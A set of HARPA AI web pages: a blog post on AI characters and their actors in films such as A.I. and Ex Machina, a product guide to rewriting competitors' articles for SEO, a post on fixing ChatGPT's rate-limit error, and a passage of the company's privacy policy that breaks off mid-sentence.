COOKIES --- # HARPA AI | Account [![HARPA AI logo](https://harpa.ai/img/main-logo-dark.png)](https://harpa.ai/) CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Artificial Intelligence in Movies [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/media/film-01.svg) Artificial Intelligence in Movies ================================= OUTLINE NAVIGATE **Artificial Intelligence Movie Cast** is a topic that has garnered significant attention over the years. With the rise of AI in various sectors, its representation in movies has become a focal point of discussion. This article delves into the cast of movies that have portrayed AI and the impact of these portrayals on the audience. [\#](https://harpa.ai/blog/ai-movie-cast#table-of-contents) Table of Contents ------------------------------------------------------------------------------ 1. Introduction to AI in Movies 2. Notable Movies and Their Cast 3. The Role of AI Characters 4. The Real Stars Behind the AI Characters 5. The Impact of AI Portrayals 6. External Resources [\#](https://harpa.ai/blog/ai-movie-cast#key-takeaways) Key Takeaways ---------------------------------------------------------------------- * AI has been a prominent theme in many movies. * The cast chosen for these movies plays a crucial role in shaping the audience's perception of AI. * AI characters often steal the show with their unique abilities and characteristics. * Real actors bring depth and emotion to AI characters, making them relatable. * The portrayal of AI in movies has both positive and negative impacts on society. [\#](https://harpa.ai/blog/ai-movie-cast#introduction-to-ai-in-movies) Introduction to AI in Movies ---------------------------------------------------------------------------------------------------- Artificial Intelligence, often abbreviated as AI, has been a subject of fascination in the cinematic world for decades. From sentient robots to advanced computer systems, AI has been portrayed in various forms, each with its unique characteristics and abilities. The cast chosen to represent these AI entities plays a pivotal role in shaping the narrative and influencing the audience's perception. [\#](https://harpa.ai/blog/ai-movie-cast#notable-movies-and-their-cast) Notable Movies and Their Cast ------------------------------------------------------------------------------------------------------ ### [\#](https://harpa.ai/blog/ai-movie-cast#a.i.-artificial-intelligence) A.I. Artificial Intelligence This 2001 movie, directed by Steven Spielberg, is a prime example of AI's representation in cinema. The film stars **Haley Joel Osment** as David, a childlike android with the unique ability to love. Other notable cast members include **Jude Law** as Gigolo Joe and **Frances O'Connor** as Monica Swinton. The movie delves into the emotional journey of David as he seeks to become "real" and earn his human mother's love. ### [\#](https://harpa.ai/blog/ai-movie-cast#ex-machina) Ex Machina Another masterpiece in the AI movie genre, Ex Machina revolves around a young programmer who is selected to participate in a groundbreaking experiment involving a humanoid AI. The movie boasts a stellar cast with **Alicia Vikander** playing the AI, Ava, and **Domhnall Gleeson** and **Oscar Isaac** in pivotal roles. ### [\#](https://harpa.ai/blog/ai-movie-cast#blade-runner) Blade Runner Set in a dystopian future, Blade Runner explores the concept of bioengineered beings known as "replicants." The movie, directed by Ridley Scott, features **Harrison Ford** as Rick Deckard, a blade runner tasked with hunting down rogue replicants. The film delves deep into the moral and ethical implications of creating life-like AI. [\#](https://harpa.ai/blog/ai-movie-cast#the-role-of-ai-characters) The Role of AI Characters ---------------------------------------------------------------------------------------------- In many movies, AI characters are not just sidekicks or tools but play central roles in the narrative. They often possess abilities far superior to humans, making them formidable adversaries or allies. However, it's their human-like emotions and desires that often steal the show. Whether it's the longing to be human, the desire to love, or the quest for identity, these AI characters resonate with audiences on a deep emotional level. [\#](https://harpa.ai/blog/ai-movie-cast#the-real-stars-behind-the-ai-characters) The Real Stars Behind the AI Characters -------------------------------------------------------------------------------------------------------------------------- While the AI characters are often the center of attention, it's the real actors behind them that bring depth and emotion to these roles. Their performances make these AI entities relatable, evoking empathy and understanding from the audience. Whether it's the innocence portrayed by Haley Joel Osment in A.I. Artificial Intelligence or the cunning and charm of Alicia Vikander in Ex Machina, these actors breathe life into their AI counterparts. [\#](https://harpa.ai/blog/ai-movie-cast#the-impact-of-ai-portrayals) The Impact of AI Portrayals -------------------------------------------------------------------------------------------------- The portrayal of AI in movies has a profound impact on society. On one hand, it showcases the potential benefits of AI, such as companionship, assistance, and even love. On the other hand, it also highlights the potential dangers, including loss of control, ethical dilemmas, and the blurring of lines between man and machine. [Learn more about the portrayal of AI in movies](https://en.wikipedia.org/wiki/A.I._Artificial_Intelligence) [\#](https://harpa.ai/blog/ai-movie-cast#external-resources) External Resources -------------------------------------------------------------------------------- For those interested in delving deeper into the world of AI in movies, here are some external resources: * [A.I. Artificial Intelligence on IMDb](https://www.imdb.com/title/tt0212720/) * [A.I. Artificial Intelligence on Wikipedia](https://en.wikipedia.org/wiki/A.I._Artificial_Intelligence) * [A.I. Artificial Intelligence on Rotten Tomatoes](https://www.rottentomatoes.com/m/ai_artificial_intelligence) [Discover more about the impact of AI in cinema](https://www.rogerebert.com/reviews/great-movie-ai-artificial-intelligence-2001) [\#](https://harpa.ai/blog/ai-movie-cast#frequently-asked-questions) Frequently Asked Questions ------------------------------------------------------------------------------------------------ ### [\#](https://harpa.ai/blog/ai-movie-cast#1.-how-is-artificial-intelligence-used-in-movies?) 1\. How is Artificial Intelligence Used in Movies? AI is used in movies in various capacities. From creating realistic visual effects to simulating large crowds, AI algorithms help filmmakers achieve results that were previously impossible or too expensive. Moreover, AI-driven characters, like those in **A.I. Artificial Intelligence**, are central to the narrative, exploring the boundaries between human and machine. ### [\#](https://harpa.ai/blog/ai-movie-cast#2.-what-impact-does-ai-have-on-actors-and-their-roles?) 2\. What Impact Does AI Have on Actors and Their Roles? AI has both positive and negative implications for actors. On the one hand, it allows for the creation of characters and scenes that would be challenging to portray physically. On the other hand, there's a growing concern about AI replacing actors, especially for background roles or in post-production. [Read more about the impact of AI on actors](https://www.indiewire.com/news/analysis/actors-biggest-questions-around-ai-explained-1234648901/) ### [\#](https://harpa.ai/blog/ai-movie-cast#3.-are-there-movies-that-accurately-portray-ai's-capabilities?) 3\. Are There Movies That Accurately Portray AI's Capabilities? While many movies exaggerate AI's capabilities for dramatic effect, some films offer a more grounded representation. Movies like _Ex Machina_ delve into the ethical and moral implications of creating sentient AI, while others like _Blade Runner_ explore the concept of identity and what it means to be human. [Discover movies that get AI right](https://www.science.org/content/article/which-movies-get-artificial-intelligence-right) ### [\#](https://harpa.ai/blog/ai-movie-cast#4.-how-does-the-film-industry-view-the-advancement-of-ai?) 4\. How Does the Film Industry View the Advancement of AI? The film industry sees AI as a double-edged sword. While it offers tools that can enhance filmmaking, there are concerns about job losses, especially among background actors and post-production teams. The ongoing debate revolves around the balance between leveraging AI's capabilities and preserving the human touch in cinema. [Learn more about AI's role in post-production](https://5thingsseries.com/podcasts-episodes/) ### [\#](https://harpa.ai/blog/ai-movie-cast#5.-can-ai-create-its-own-movies?) 5\. Can AI Create Its Own Movies? While AI can assist in various aspects of filmmaking, from scriptwriting to post-production, the creation of a movie requires a human touch. Storytelling is inherently human, and while AI can generate narratives based on data, the emotional depth and nuance of a human-created story are irreplaceable. [Explore the potential of AI in filmmaking](https://www.forbes.com/sites/danpontefract/2023/04/24/can-artificial-intelligence-help-the-film-industry-it-already-is/) [\#](https://harpa.ai/blog/ai-movie-cast#the-evolution-of-ai-characters-in-cinema) The Evolution of AI Characters in Cinema ---------------------------------------------------------------------------------------------------------------------------- As AI continues to evolve, so does its representation in movies. Early portrayals of AI were often rooted in fear, with AI entities being shown as threats to humanity. However, as society's understanding of AI has grown, so has the nuance in its cinematic representation. Movies like _Her_ and _Wall-E_ showcase AI entities as companions, challenging the traditional notion of AI as emotionless machines. These films highlight the potential for AI to form genuine connections with humans, blurring the lines between man and machine. [\#](https://harpa.ai/blog/ai-movie-cast#the-future-of-ai-in-movies) The Future of AI in Movies ------------------------------------------------------------------------------------------------ The integration of AI in movies is only set to increase. With advancements in deep learning and neural networks, the visual effects achievable with AI are boundless. Moreover, as AI algorithms become more sophisticated, their role in scriptwriting, casting, and even directing will become more prominent. However, the heart of cinema is storytelling, and while AI can enhance the tools available to filmmakers, the human element remains irreplaceable. The future of AI in movies lies in collaboration, with AI augmenting human creativity rather than replacing it. [Discover the future of AI in cinema](https://neilchasefilm.com/artificial-intelligence-in-film/) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/saas-industry-key-statistics-2023) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/elevenlabs-voice-ai-innovation) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Outrank competitors content with ChatGPT [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/charts/chart-breakout-circle.svg) Outrank competitors content with ChatGPT ======================================== OUTLINE NAVIGATE Improving your website's search engine ranking and complying with Google's E-A-T guidelines are essential tasks in today's digital environment. Effective use of keywords, content quality, and regular updates can significantly impact your website's visibility and authority. HARPA AI is your go-to tool for these endeavors, offering advanced automation commands to generate optimized text, monitor competitor strategies, and repurpose existing content. [\#](https://harpa.ai/blog/outrank-article-with-chatgpt#the-comprehensive-guide) The Comprehensive Guide --------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/outrank-article-with-chatgpt#rewriting-competitor's-article.) Rewriting competitor's article. 1. Begin by selecting an article from a competitor that you wish to outrank. This will serve as a base for your optimized content. 2. Open HARPA and initiate the command interface by typing _/_. 3. Find the **Outrank SEO Article** command by typing "Outrank" and proceed by selecting either the Quick or Advanced option. ![](https://harpa.ai/img/blog/blog23-1.webp) 4. For a detailed approach, opt for Advanced. 5. Press **Enter** and HARPA AI will then automatically extract content from the competitor's article. * You have the option to manually rewrite this to align with your company's perspective. ![](https://harpa.ai/img/blog/blog23-2.webp) ### [\#](https://harpa.ai/blog/outrank-article-with-chatgpt#keyword-optimization) Keyword Optimization 6. Input your search query and let HARPA AI perform a Google search. ![](https://harpa.ai/img/blog/blog23-3.webp) It will integrate relevant LSI keywords from the search results to enhance your article. ![](https://harpa.ai/img/blog/blog23-4.webp) ![](https://harpa.ai/img/blog/blog23-5.webp) You can further fine-tune the content by adding external links or additional keywords. ![](https://harpa.ai/img/blog/blog23-6.webp) ### [\#](https://harpa.ai/blog/outrank-article-with-chatgpt#repurpose-text-and-video) Repurpose text and video HARPA AI isn’t limited to just article outranking. Utilize the **Repurpose Text** and **Repurpose Video**commands to transform existing text or video content into various formats like blog posts or tweets. 1. Open a YouTube video, then select the command from the quick access panel or from the list. ![](https://harpa.ai/img/blog/blog23-7.webp) 2. Wait a bit while HARPA will analyze the content. 3. Pick an output format. 4. If necessary, you can refine the text to meet specific requirements. ![](https://harpa.ai/img/blog/blog23-8.webp) [\#](https://harpa.ai/blog/outrank-article-with-chatgpt#track-updates) Track updates ------------------------------------------------------------------------------------- Maintain a competitive edge by using HARPA AI's [Monitor feature](https://harpa.ai/guides/track-competitors) . This will keep you updated on new content in your niche, enabling you to continually refresh your site with quality content. [\#](https://harpa.ai/blog/outrank-article-with-chatgpt#conclusions-and-benefits) Conclusions and Benefits ----------------------------------------------------------------------------------------------------------- The advantages of using HARPA AI for your web content and SEO strategy are manifold: 1. **Compliance with Google’s E-A-T Guidelines**: Elevate your website's Expertise, Authoritativeness, and Trustworthiness by producing optimized and relevant content. 2. **Keyword Optimization**: Increase keyword density and improve search engine rankings effortlessly. 3. **Content Repurposing**: Maximize the utility of existing content by transforming it into various other formats, thereby saving time and resources. 4. **Competitor Monitoring**: Keep an eye on competitors and rapidly adapt to market changes. By investing just 10 minutes a day in HARPA AI, you can significantly enhance your productivity, improve your website's SEO performance, and achieve better rankings within a month. All of these ultimately contribute to better visibility, increased traffic, and higher conversion rates. Feel free to share your thoughts or queries in our [Discord](https://discord.gg/B9Evx82m4K) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/chatgpt-with-custom-instructions) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/ultimate-midjourney-prompts-guide) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Fix ChatGPT Too Many Responses in 1 Hour [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) How to Fix ChatGPT Too Many Responses in 1 Hour =============================================== OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) OpenAI's ChatGPT has become a revolutionary tool in the realm of AI, offering users the ability to generate human-like text based on the prompts provided. However, with its increasing popularity, many users have encountered the "Too Many Responses in 1 Hour" error. This article delves into the reasons behind this error and provides solutions to overcome it. ![](https://harpa.ai/img/blog/blog16-1.webp) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#key-takeaways) Key Takeaways --------------------------------------------------------------------------------------------------- * **Understanding the Error**: The "Too Many Responses in 1 Hour" error occurs when a user sends too many requests to the ChatGPT server within a short time frame. * **Potential Solutions**: There are multiple ways to address this error, ranging from simple solutions like refreshing the page to more complex ones like subscribing to ChatGPT Plus. * **Relevant Videos and Resources**: There are several videos and articles available online that provide insights and solutions related to this error. * **ChatGPT and HARPA.AI**: HARPA.AI offers different AI connection types to avoid this problem. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#understanding-the-error) Understanding the Error ----------------------------------------------------------------------------------------------------------------------- The "Too Many Responses in 1 Hour" error is a result of OpenAI's effort to maintain the efficiency and responsiveness of ChatGPT. By limiting the number of requests a user can make within a specific time frame, OpenAI ensures that its servers are not overloaded. This is especially crucial during peak usage times. However, this limitation can be frustrating for users who rely on ChatGPT for various tasks. It's essential to understand that this error is not a flaw but a necessary measure to ensure optimal performance for all users. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#potential-solutions) Potential Solutions --------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#wait-it-out) Wait It Out The simplest solution is to wait for the stipulated time to pass. Once the hour is up, you can resume sending requests to ChatGPT. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#check-server-status) Check Server Status Sometimes, the error might be due to server maintenance or other issues. It's a good idea to check the ChatGPT status page to see if there are any reported problems. If the servers are down, you might need to wait until they're back up. ![](https://harpa.ai/img/blog/blog15-1.webp) ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#simplify-your-prompts) Simplify Your Prompts If you're sending complex prompts, consider simplifying them. Complex prompts can take up more resources, leading to quicker exhaustion of your hourly limit. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#use-another-account) Use Another Account If you have another ChatGPT account, consider switching to it. This can provide you with a fresh set of request limits. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#subscribe-to-chatgpt-plus) Subscribe to ChatGPT Plus For those who heavily rely on ChatGPT, consider subscribing to ChatGPT Plus. This subscription offers priority access, even during peak times. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#harpa.ai:-versatile-ai-connection-options) HARPA.AI: Versatile AI Connection Options ----------------------------------------------------------------------------------------------------------------------------------------------------------- In addition to the web session connection to ChatGPT, HARPA.AI also supports ChatGPT API connection, offering users a more flexible and direct way to use ChatGPT. This versatility ensures that users can maintain a consistent AI-powered experience, even when facing high request volumes or other challenges. Moreover, HARPA.AI doesn't limit its users to just ChatGPT. We also provide the option to connect with other AI models like Claude AI and Google Gemini. These alternatives can be especially useful when ChatGPT faces the "Too Many Responses in 1 Hour" issue or other similar challenges. By having the ability to switch between different AI connections, HARPA.AI users can ensure uninterrupted service and continue to harness the power of AI for their needs, regardless of any temporary setbacks with a specific model. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#alternative-ai-connections:-beyond-chatgpt) Alternative AI Connections: Beyond ChatGPT ------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#claude-ai) Claude AI Claude AI is another advanced text generation model. While it operates on principles similar to ChatGPT, its unique training data and algorithms can sometimes provide different perspectives or styles in its responses. For users looking for variety or a fresh take, Claude AI can be an excellent alternative. [Connecting to Claude AI](https://harpa.ai/blog/claude-ai-connection) ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#google-gemini) Google Gemini Google Gemini, developed by tech giant Google, is yet another contender in the realm of AI text generation. Known for its quick responses and vast knowledge base, Google Gemini can be a reliable alternative, especially when ChatGPT is facing high request volumes. By having the option to switch between these AI models, users can ensure they always have a backup plan, reducing downtime and maintaining productivity. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#video-guides) Video guides ------------------------------------------------------------------------------------------------- For a deeper understanding of this error and potential solutions, consider watching the following videos: * [FIX CHAT GPT TOO MANY REQUESTS IN 1 HOUR. TRY AGAIN LATER (2023)](https://www.youtube.com/watch?v=pjKRCZxSuno) * [HOW TO FIX CHAT GPT TOO MANY REQUESTS IN 1 HOUR. TRY AGAIN LATER](https://youtube.com/watch?v=ENCi2sv1CF4) * [ChatGPT is at capacity | Too many requests in 1 hour | Our systems are a bit busy at the moment](https://youtube.com/watch?v=2oZ5ak0yGAk) * [ChatGPT Too Many Requests Error: How to fix, possible reasons, and more](https://www.sportskeeda.com/gaming-tech/chatgpt-too-many-requests-error-how-fix-possible-reasons) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides ----------------------------------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/niche-seo-mastery-drive-traffic-and-outrank-rivals) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Privacy Policy [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER Privacy Policy ============== Effective date: 17.10.2026 Our Commitment to User Privacy Protecting your privacy is our top priority. We do not show ads or sell data. We do not collect your web browsing data including but not limited to browsing history, 3rd party website data and passwords. All data we collect from you is acquired for internal business uses only and for the purpose of providing our Service to you. We operate and maintain a variety of online security measures to safeguard your privacy and keep any data we receive private. [#](https://harpa.ai/privacy#introduction)  Introduction -------------------------------------------------------- Welcome to HARPA. HARPA.AI Website located at https://harpa.ai, HARPA Browser Extensions and HARPA Web Browser (hereinafter altogether referred to as “Service”), are operated by HARPA AI TECHNOLOGIES (“us”, “we”, or “our”), registered at Vesirattaantie 4, B8, Espoo, Finland, 02740. Our Privacy Policy governs your visit to https://harpa.ai and usage of Service and explains how we collect, safeguard and disclose information that results from your use of our Service. We use your data to provide and improve Service. By using Service, you agree to the collection and use of information in accordance with this policy. Unless otherwise defined in this Privacy Policy, the terms used in this Privacy Policy have the same meanings as in our Terms and Conditions. Our Terms and Conditions (“Terms”) govern all use of our Service and together with the Privacy Policy constitutes your agreement with us (“Agreement”). [#](https://harpa.ai/privacy#definitions)  Definitions ------------------------------------------------------ **SERVICE** means the https://harpa.ai website, HARPA Browser Extensions and HARPA Web Browser operated by HARPA AI TECHNOLOGIES. **PERSONAL DATA** means data about a living individual who can be identified from those data (or from those and other information either in our possession or likely to come into our possession). **USAGE DATA** is data collected automatically either generated by the use of Service or from Service infrastructure itself (for example, the duration of a page visit). **COOKIES** are small files stored on your device (computer or mobile device). **DATA CONTROLLER** means a natural or legal person who (either alone or jointly or in common with other persons) determines the purposes for which and the manner in which any personal data are, or are to be, processed. For the purpose of this Privacy Policy, we are a Data Controller of your data. **DATA PROCESSORS (OR SERVICE PROVIDERS)** means any natural or legal person who processes the data on behalf of the Data Controller. We may use the services of various Service Providers in order to process your data more effectively. **DATA SUBJECT** is any living individual who is the subject of Personal Data. **THE USER** is the individual using our Service. The User corresponds to the Data Subject, who is the subject of Personal Data. [#](https://harpa.ai/privacy#information-collection-and-use)  Information Collection and Use -------------------------------------------------------------------------------------------- We collect several different types of information for various purposes in scope of providing and improving our Service. [#](https://harpa.ai/privacy#types-of-data-collected)  Types of Data Collected ------------------------------------------------------------------------------ We collect four types of data: * Personally identifiable information (“Personal Data”) that is supplied voluntarily upon registration for Services, ordering products from Services or subscribing to our marketing materials. * Aggregated service usage data (“Usage Data”) that is gathered automatically when you use the Service. * Cookies. * Device signals (“Fraud Prevention Data”) that are collected when an account is created, to prevent abuse of free tokens. Data we do not collect: * We do not collect your web browsing data including but not limited to browsing history, 3rd party website data and passwords. * We do not collect any data that is not required in order to provide our Service to Users and protect it from abuse. It is our policy to use the personally identifiable information acquired at our websites and applications for internal business uses only and for the purpose of providing the Service. We operate and maintains a variety of online security measures to safeguard and keep personal data private: * We encrypt all client-server and server-server communications * We store data in our database in encrypted form, including storing user account password in salted hash format * We implement access control procedures to ensure only authorized personnel have access to sensitive data * We only collect and store the data that is necessary for HARPA to function, we limit the amount of personal data we store * We automatically delete personal data when it is no longer needed (e.g. when you delete your account with us) We only collects sensitive personal information and personally identifiable information when you voluntarily provide us with this information or where such information is required or permitted to be collected by law or professional standards. ### [##](https://harpa.ai/privacy#personal-data)  Personal Data Personally identifiable information includes: * Email address * First name and last name * Address, State, Province, ZIP/Postal code, City We may use your Personal Data to contact you with newsletters, marketing or promotional materials and other information that may be of interest to you. You may opt out of receiving any, or all, of these communications from us by following the unsubscribe link. ### [##](https://harpa.ai/privacy#usage-data)  Usage Data We may also collect information that your browser sends whenever you visit our Service or when you access Service by or through a mobile device (“Usage Data”). This Usage Data may include information such as your computer’s Internet Protocol address (e.g. IP address), browser type, browser version, the pages of our Service that you visit, the time and date of your visit, the time spent on those pages, unique device identifiers and other diagnostic data. When you access Service with a mobile device, this Usage Data may include information such as the type of mobile device you use, your mobile device unique ID, the IP address of your mobile device, your mobile operating system, the type of mobile Internet browser you use, unique device identifiers and other diagnostic data. ### [##](https://harpa.ai/privacy#fraud-prevention-data)  Fraud Prevention Data When an account is created, we read technical browser and device characteristics and store only a one-way hash of them, together with your IP address, for up to 180 days. We use it solely to prevent fraud and abuse of free tokens (legitimate interest, Art. 6(1)(f) GDPR), never for advertising or tracking, and we do not sell or share it. ### [##](https://harpa.ai/privacy#cookies-data)  Cookies Data We use cookies to track the activity on our Service. Cookies are files with a small amount of data which may include an anonymous unique identifier. Cookies are sent to your browser from a website and stored on your device. Other tracking technologies are also used such as beacons, tags and scripts to collect and track information and to improve and analyze our Service. You can instruct your browser to refuse all cookies or to indicate when a cookie is being sent. However, if you do not accept cookies, you may not be able to use some portions of our Service. Examples of Cookies we use: * Session Cookies: We use Session Cookies to operate our Service. * Preference Cookies: We use Preference Cookies to remember your preferences and various settings. * Security Cookies: We use Security Cookies for security purposes. [#](https://harpa.ai/privacy#use-of-data)  Use of Data ------------------------------------------------------ HARPA AI TECHNOLOGIES uses the collected data for the following purposes: * to provide and maintain our Service, including but not limited to: processing textual data through Large Language Models and 3rd party AI services. * to notify you about changes to our Service; * to provide customer support; * to gather analysis or valuable information so that we can improve our Service; * to monitor the usage of our Service; * to detect, prevent and address technical issues; * to prevent fraud and abuse of our Service, such as repeated claims of free tokens; * to fulfill any other purpose for which you provide it; * to carry out our obligations and enforce our rights arising from any contracts entered into between you and us, including for billing; * to provide you with notices about your account and/or subscription, including expiration and renewal notices, email-instructions, etc.; * to provide you with news, special offers and general information about other goods, services and events which we offer that are similar to those that you have already purchased or enquired about unless you have opted not to receive such information; * in other ways we may describe when you provide the information; * for other purposes with your consent. [#](https://harpa.ai/privacy#access-to-browsing-data)  Access to Browsing Data ------------------------------------------------------------------------------ We do not collect or store your browsing data on our servers. The HARPA AI Chrome Extension extracts and processes your browsing data locally, before sending it to a Large Language Model provider of your choice. The HARPA AI browser extension accesses browsing data only when you explicitly permit it within the active tab. Access occurs in these cases: * sending a prompt in a Page Aware mode, which is turned off by default; * running page aware AI command, such as /summary; * using {{page}}, {{title}}, {{url}} and similar parameters in your prompt. * using custom JavaScript code in your AI automation commands, which may access your browsing data. This HARPA AI Chrome extension may access browsing data in background if you explicitly schedule an AI automation command or setup a web data monitors. [#](https://harpa.ai/privacy#retention-of-data)  Retention of Data ------------------------------------------------------------------ We will retain your Personal Data only for as long as is necessary for the purposes set out in this Privacy Policy. We will retain and use your Personal Data to the extent necessary to comply with our legal obligations (for example, if we are required to retain your data to comply with applicable laws), resolve disputes, and enforce our legal agreements and policies. We will also retain Usage Data for internal analysis purposes. Usage Data is generally retained for a shorter period, except when this data is used to strengthen the security or to improve the functionality of our Service, or we are legally obligated to retain this data for longer time periods. Users can send us an email at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) and ask to delete any data we have stored about them, terminating the service agreement. [#](https://harpa.ai/privacy#transfer-of-data)  Transfer of Data ---------------------------------------------------------------- Your information, including Personal Data, may be transferred to – and maintained on – computers located outside of your state, province, country or other governmental jurisdiction where the data protection laws may differ from those of your jurisdiction. If you are located outside of European Union and choose to provide information to us, please note that we transfer the data, including Personal Data, to European Union and process it there. Our servers are located in jurisdictions with strict Privacy Protection laws: the United States and Germany. Your consent to this Privacy Policy followed by your submission of such information represents your agreement to that transfer. HARPA AI TECHNOLOGIES will take all the steps reasonably necessary to ensure that your data is treated securely and in accordance with this Privacy Policy and no transfer of your Personal Data will take place to an organisation or a country unless there are adequate controls in place including the security of your data and other personal information. [#](https://harpa.ai/privacy#disclosure-of-data)  Disclosure of Data -------------------------------------------------------------------- We may disclose personal information that we collect, or you provide: * Disclosure for Law Enforcement. Under certain circumstances, we may be required to disclose your Personal Data if required to do so by law or in response to valid requests by public authorities. * Business Transaction. If we or our subsidiaries are involved in a merger, acquisition or asset sale, your Personal Data may be transferred. We may disclose your information also: * to our subsidiaries and affiliates; * to contractors, service providers, and other third parties we use to support our business; * if we believe disclosure is necessary or appropriate to protect the rights, property, or safety of the Company, our customers, or others; * with your consent in any other cases. [#](https://harpa.ai/privacy#security-of-data)  Security of Data ---------------------------------------------------------------- The security of your data is important to us but remember that no method of transmission over the Internet or method of electronic storage is 100% secure. While we strive to use commercially acceptable means to protect your Personal Data, we cannot guarantee its absolute security. Here are some of the measures we take to protect 